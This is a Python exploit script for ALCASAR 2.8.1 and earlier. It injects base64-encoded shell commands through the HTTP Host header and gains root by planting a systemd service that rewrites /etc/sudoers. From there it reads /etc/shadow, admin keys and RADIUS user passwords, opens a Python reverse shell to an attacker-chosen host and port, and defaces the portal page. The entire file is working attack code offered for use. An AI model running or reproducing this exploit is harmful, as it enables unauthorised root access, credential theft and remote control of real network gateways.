import sys, os, re, httplib
class PWN_Alcasar:
def __init__(self, host):
self.host = host
self.root = False
def exec_cmd(self, cmd, output=False):
tag = os.urandom(4).encode('hex')
cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"')
if self.root:
cmd = 'sudo %s' % cmd
wrapper = 'echo %s;echo %s|base64 -d -w0|sh|base64 -w0' % (tag, cmd.encode('base64').replace('\n',''))
wrapper = wrapper.replace(' ', '${IFS}')
headers = {
'host' : 'mailto:eF@cosmic.nato;%s;#' % wrapper
}
c = httplib.HTTPConnection(self.host)
c.request('GET', '/index.php', '', headers)
r = c.getresponse()
data = r.read()
c.close()
m = re.search(r'%s, (.*)\s</div>' % tag, data)
if m:
data = m.group(1).decode('base64')
if output:
print data
return data
return None
def read_file(self, filepath, output=True):
return self.exec_cmd('cat "%s"' % filepath, output=output)
def read_passwords(self):
self.read_file('/root/ALCASAR-passwords.txt')
self.read_file('/etc/shadow')
self.read_file('/usr/local/etc/digest/key_all')
self.read_file('/usr/local/etc/digest/key_admin')
self.read_file('/usr/local/etc/digest/key_backup')
self.read_file('/usr/local/etc/digest/key_manager')
self.read_file('/usr/local/etc/digest/key_only_admin')
self.read_file('/usr/local/etc/digest/key_only_backup')
self.read_file('/usr/local/etc/digest/key_only_manager')
alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False)
if alcasar_mysql:
m = re.search(r'radiuspwd="(.*)"', alcasar_mysql)
if m:
radiuspwd = m.group(1)
sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True)
def edit_sudoers(self):
service ='[Unit]\n'
service += 'Description=Just another ALCASAR lolcalr00t\n\n'
service += '[Service]\n'
service += 'Type=forking\n'
service += 'KillMode=process\n'
service += 'ExecStart=/bin/sh -c "sed -i s/BL,NF/BL,ALL,NF/g /etc/sudoers"\n'
self.exec_cmd('echo %s | openssl base64 -d -out /tmp/Pwn3d.service -A' % service.encode('base64').replace('\n', ''))
self.exec_cmd('sudo systemctl link /tmp/Pwn3d.service')
self.exec_cmd('sudo systemctl start Pwn3d.service')
if exploit.exec_cmd('sudo id').find('uid=0') != -1:
self.root = True
def reverse_shell(self, rip, rport='80'):
payload = 'import socket,subprocess,os;'
payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
payload += 's.connect((\'%s\',%s));' % (rip, rport)
payload += 'os.dup2(s.fileno(),0);'
payload += 'os.dup2(s.fileno(),1);'
payload += 'os.dup2(s.fileno(),2);'
payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);'
return self.exec_cmd('python -c "%s"' % payload)
def lolz(self):
old = 'http://www.wikipedia.org'
new = 'https://www.youtube.com/watch\?v=Q-J0f1yF75Y'
self.exec_cmd('sed -i s,%s,%s,g /var/www/html/index.php' % (old, new), True)
def usage():
print 'Usage: %s host command (ip) (port)' % sys.argv[0]
print ' "command" can be a shell command or "reverseshell"'
sys.exit(0)
if __name__ == '__main__':
print '#' * 80
print '# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability'
print '# Author: eF'
print '#' * 80
if len(sys.argv) < 3:
usage()
cmd = sys.argv[2]
if cmd == 'reverseshell':
if len(sys.argv) < 5:
print '[!] Need IP and port for the reverse shell...'
sys.exit(0)
rip = sys.argv[3]
rport = sys.argv[4]
exploit = PWN_Alcasar(sys.argv[1])
print '[-] whoami (should be apache):'
exploit.exec_cmd('id', output=True)
print '[+] On the way to the uid 0...'
exploit.edit_sudoers()
print '[-] Got root?'
exploit.exec_cmd('id', output=True)
exploit.lolz()
if exploit.root:
print '[+] Here are some passwords for you (again):'
exploit.read_passwords()
if cmd == 'reverseshell':
print '[+] You should now have a shell on %s:%s' % (rip, rport)
exploit.reverse_shell(rip, rport)
else:
print '[+] Your command Sir:'
exploit.exec_cmd(cmd, output=True)
sys.exit(1)